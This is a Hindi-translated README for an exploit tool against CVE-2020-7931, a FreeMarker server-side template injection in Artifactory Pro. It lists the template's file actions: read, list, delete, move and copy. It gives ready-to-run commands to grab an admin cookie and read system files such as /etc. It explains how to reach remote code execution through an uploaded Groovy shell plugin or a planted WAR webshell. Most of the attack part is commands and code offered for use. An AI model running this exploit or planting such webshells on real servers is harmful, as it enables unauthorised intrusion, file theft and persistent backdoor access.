
सर्वर साइड टेम्पलेट इंजेक्शन के साथ आर्टिफैक्ट्री हैकिंग
CVE-2020-7931 कुछ हद तक Artifactory में एक जानबूझकर गलत कॉन्फ़िगरेशन भेद्यता है जो हमलावरों को FreeMarker टेम्पलेट से सर्वर-साइड टेम्पलेट इंजेक्शन करने देती है।
यह भेद्यता Atredis के Ryan Hanson द्वारा खोजी गई थी और 2019 के अंत में सभी प्रभावित संस्करणों के लिए ठीक कर दी गई थी। यह केवल Artifactory के Pro संस्करणों पर काम करेगी, क्योंकि अन्य संस्करणों में टेम्पलेटिंग क्षमताएँ नहीं हैं।
इस रिपॉजिटरी में एक स्क्रिप्ट और एक टेम्पलेट है।
टेम्पलेट अपनी इच्छित क्रिया निर्धारित करने के लिए पहले GET पैरामीटर को पकड़ता है। मान्य क्रियाएँ हैं:
info Returns info about the current configuration
read <filepath> Reads a file, as is
read_bytes <filepath> Reads a file binarily as integers
list <dirpath> List a directory contents
create_file <filepath> Create an empty file
mkdir <dirpath> Create a folder
delete <filepath> Delete a file or empty folder
move <src> <dst> Move a file (*)
copy <scr_path> <src_file> <dst> Copy a file to the application's web root. Pay attention to the quirky arguments (**)
(*): move विधि Java renameTo विधि का उपयोग करती है जो विभिन्न फाइलसिस्टमों पर काम नहीं करती। विभिन्न फाइलसिस्टमों पर move करने के लिए, पहले copy फिर move का उपयोग करना होता है, अधिक जानकारी नीचे।
(**): स्रोत को आधार पथ और फ़ाइल नाम के बीच विभाजित किया जाना चाहिए; गंतव्य artifactory के वेब एप्लिकेशन रूट पथ के सापेक्ष है, उदा. /opt/jfrog/artifactory/tomcat/webapps/artifactory/
usage: artifactory_CVE-2020-7931.py [-h] -H HOST [-u USER] [-p PASSWORD]
[-c COOKIE] [-U UPLOAD] [-g]
[-d DROP_TEMPLATE] [-e EXEC_TEMPLATE] [-r]
[-R REPOSITORY_NAME]
optional arguments:
-h, --help show this help message and exit
-H HOST, --host HOST
-u USER, --user USER
-p PASSWORD, --password PASSWORD
-c COOKIE, --cookie COOKIE
-U UPLOAD, --upload UPLOAD
-g, --get_cookie
-d DROP_TEMPLATE, --drop_template DROP_TEMPLATE
-e EXEC_TEMPLATE, --exec_template EXEC_TEMPLATE
-r, --reload_plugins
-R REPOSITORY_NAME, --repository_name REPOSITORY_NAME
Default: example-repo-local
export cookie=$(./artifactory_CVE-2020-7931.py -H http://localhost:8081 -g -u admin -p password | grep '-') && echo $cookie
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -U sample.groovy
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -d sample.xml
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml list /etc/
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml read /etc/password
जैसा कि हमने देखा, renameTo() विभिन्न फाइलसिस्टमों पर काम नहीं करेगा। इसका अनुकरण करने के लिए, पहले फ़ाइल को कॉपी करें फिर इसे मूव करें (इसे तुरंत करें, अन्यथा artifactory क्रैश हो सकता है!):
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml copy /var/opt/jfrog/artifactory/data/tmp/artifactory-uploads/ bla /bla (***)
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml move /opt/jfrog/artifactory/tomcat/webapps/artifactory/bla /etc/bla
(***): जैसा कि पहले समझाया गया, यहाँ /bla वास्तव में /opt/jfrog/artifactory/tomcat/webapps/artifactory/bla को संदर्भित करता है क्योंकि root.write() अनिवार्य रूप से वर्तमान एप्लिकेशन के वेब रूट पर लिखेगा।
यह आपको उन कॉन्फ़िगरेशनों का शोषण करने देता है जो आर्टिफैक्ट्स को एक अलग फाइलसिस्टम पर संग्रहीत कर रहे हैं (जो एक अच्छी प्रथा है!)।
डिफ़ॉल्ट रूप से artifactory इंस्टॉल के साथ, कक्षाओं को इंस्टेंशिएट करना संभव नहीं है, इस प्रकार regular freemarker.template.utility.Execute ट्रिक काम नहीं करेगी।
फाइलसिस्टम में हेरफेर करके रिमोट कोड निष्पादन प्राप्त करने के कई अन्य तरीके हैं:
यहाँ एक groovy प्लगइन का उदाहरण है जो शेल निष्पादन करता है, अधिक विस्तृत उदाहरण यहाँ:
def proc = "ls -la /etc".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
प्लगइन्स को प्लगइन पथ /var/opt/jfrog/artifactory/etc/plugins/ में रखा जाना चाहिए और एक API कॉल का उपयोग करके पुनः लोड किया जाना चाहिए जिसके लिए Artifactory व्यवस्थापक विशेषाधिकारों की आवश्यकता होती है:
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -r
यहाँ एक Tomcat सर्वलेट है जो एक वेबशेल लागू करता है।
WAR फ़ाइलों को Tomcat webapps पथ /opt/jfrog/artifactory/tomcat/webapps/ में रखा जाना चाहिए। डिफ़ॉल्ट रूप से, WAR फ़ाइलों का परिनियोजन स्वचालित है और Artifactory इंस्टेंस के बगल में एक और वेब एप्लिकेशन शुरू करेगा, उदा. http://localhost:8081/sample/ पर।
यह पसंदीदा तरीका है क्योंकि इसमें Artifactory व्यवस्थापक विशेषाधिकारों की आवश्यकता नहीं है और कमांड को तुरंत निष्पादित करना सरल है।